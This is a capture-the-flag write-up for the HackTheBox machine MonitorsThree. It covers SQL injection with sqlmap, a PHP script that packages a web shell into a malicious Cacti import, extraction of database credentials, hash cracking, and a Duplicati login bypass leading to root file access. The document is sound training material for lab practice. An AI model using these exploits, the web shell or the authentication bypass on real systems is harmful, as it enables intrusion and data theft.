MonitorsThree HTB
by kpax
- NMAP
- Creds
- Foothold
- Cacti
- Shell as www-data
- Shell as Marcus
- Duplicati
- root.txt
- Further Challenge
- NMAP Full
NMAP
# Nmap 7.94SVN scan initiated Sun Aug 25 10:41:46 2024 as: nmap -p- --min-rate 10000 -oA nmap/monitorsthree-allports -v0 10.129.231.115
Nmap scan report for 10.129.231.115
Host is up (0.026s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8084/tcp filtered websnp
# Nmap done at Sun Aug 25 10:41:53 2024 -- 1 IP address (1 host up) scanned in 6.79 seconds
Creds
admin:greencacti2001 # Found through SQL Injection
Foothold
There are two sites we need to look at. The first is at monitorsthree.htb and the second is at cacti.monitorsthree.htb

There is a login page and within the password reset page, if we enter a ' character as the username then we get an SQL error

There is nothing reflected back to us from the password reset input, so we must use SQLMAP to try and proceed.
By trying some SQL Injection techniques we discover the name of the database to be monitorsthree_db. We know from the first error that the database is mariadb which is just a fork of mysql

This will allow us to narrow down the sqlmap flags to be more specific and save time
Save a password reset request out of burpsuite and run the following command.
sqlmap -r reset_pass.req --risk=3 --level=5 --dbms=mariadb -p username -D monitorsthree_db -T users --technique=B
We don’t use the --batch flag this time, because we want to follow redirects, but don’t want to resend the post data again, as this slows things down considerably and only results in us finding slow time based techniques.

The run the following command to dump the user’s table
sqlmap -r reset_pass.req --risk=3 --level=5 --dbms=mariadb -p username -D monitorsthree_db -T users --technique=B --dump
Again, answer Y then N to the prompts.


+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | mwatson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
Putting these hashes into hashcat, the admin cracks as greencacti2001 and allows access to the cacti.monitorsthree.htb subdomain.
Cacti
The following security update gives us the code to be able to upload a malicious import package.
Copy the following to a file called gen.php
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/rev.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php system($_REQUEST[\'cmd\']); ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("rev.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat rev.xml | gzip -9 > rev.xml.gz; rm rev.xml");
?>
Then run from the command line
php gen.php
This will create a file called rev.xml.gz
We upload this from the Import Packages section and tick the box before pressing Import

Our malicious PHP file is now at http://cacti.monitorsthree.htb/cacti/resource/rev.php
We can capture the request in burp, change it to a POST request and get a reverse shell.

Shell as www-data
Within the file /var/www/html/cacti/include/config.php we find the credentials to the mysql database.
cactiuser:cactiuser
We login to the database as that user with
mysql -u cactiuser -p
Within the cacti database we find creds in the user_auth table
MariaDB [cacti]> select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------->
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_gr>
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------->
| 1 | admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G | 0 | Administrator | marcus@monitorsthree.htb | | | on | on | on | on | 2 | >
| 3 | guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu | 0 | Guest Account | guest@monitorsthree.htb | | | on | on | on | | 1 | >
| 4 | marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | 0 | Marcus | marcus@monitorsthree.htb | | on | on | on | on | on | 1 | >
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------->
The marcus user’s hash cracks as 12345678910 and we can su to it. Once there, we can grab his SSH private key and login with SSH for a more stable shell.
Shell as Marcus
Looking at local listening ports, we find a service called Duplicati running on port 8200

We forward this port to our machine and access it

Duplicati
Within /opt/duplicati/config/ we find a SQLite DB that we can read called Duplicati-server.sqlite
We copy this file to our machine and dump the contents using sqlite3 Duplicati-server.sqlite and the command .dump
Within the database we find the server-phasethrase and then server-passphrase-salt

With these two pieces of information, we can login as the admin using the technique found here
First we need the to convert the base64 passphrase to hex, so we can use it with the builtin JavaScript libraries on the page

Then, login with any password and capture the request in Burp.

Right-Click in burp and select Do Intercept -> Response to this request and click forward.
The response will contain the Nonce and the Salt (Which matches the one in the DB)

Copy the nonce and hex from CyberChef into the below command and then open the developer tools in firefox and paste it in.
CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('[NONCE]') + '[HEX FROM CYBERCHEF]')).toString(CryptoJS.enc.Base64);
Example
CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('4NOX67lMi72e9S8OS3/iHt8e5f0EA6/9rEU9iSckVoE=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64);
Forward the nonce response and then copy the result from the javascript to the password field in the next request

Forward the request and then turn intercept off in burp and you will be logged in

root.txt
Duplicati is run as a docker container, that exposes the root file system to it, which can be seen in the file /opt/docker-compose.yml

The root filesystem is mapped to /source in the docker container.
We can simply create a back up the /source/root/root.txt file and then restore it to /source/tmp/root.txt and it will be available to read on the host system.
Turn off Encryption

Backup files will be stored at /source/tmp/

Backup /source/root/root.txt

Turn off automatic backups

Leave Defaults

Run Now

Restore Files

Tick root.txt

Restore to /source/tmp

root.txt

Further Challenge
See if you can use the backup and restore functions to drop a SSH key on the root user’s .ssh/authorized_keys file, so you can login as root
NMAP Full
# Nmap 7.94SVN scan initiated Sun Aug 25 10:41:53 2024 as: nmap -p 22,80 -sC -sV -oA nmap/monitorsthree -vv 10.129.231.115
Nmap scan report for 10.129.231.115
Host is up, received reset ttl 63 (0.027s latency).
Scanned at 2024-08-25 10:41:54 BST for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNwl884vMmev5jgPEogyyLoyjEHsq+F9DzOCgtCA4P8TH2TQcymOgliq7Yzf7x1tL+i2mJedm2BGMKOv1NXXfN0=
| 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5W5QMRdl0vUKFiq9AiP+TVxKIgpRQNyo25qNs248Pa
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 25 10:42:01 2024 -- 1 IP address (1 host up) scanned in 7.89 seconds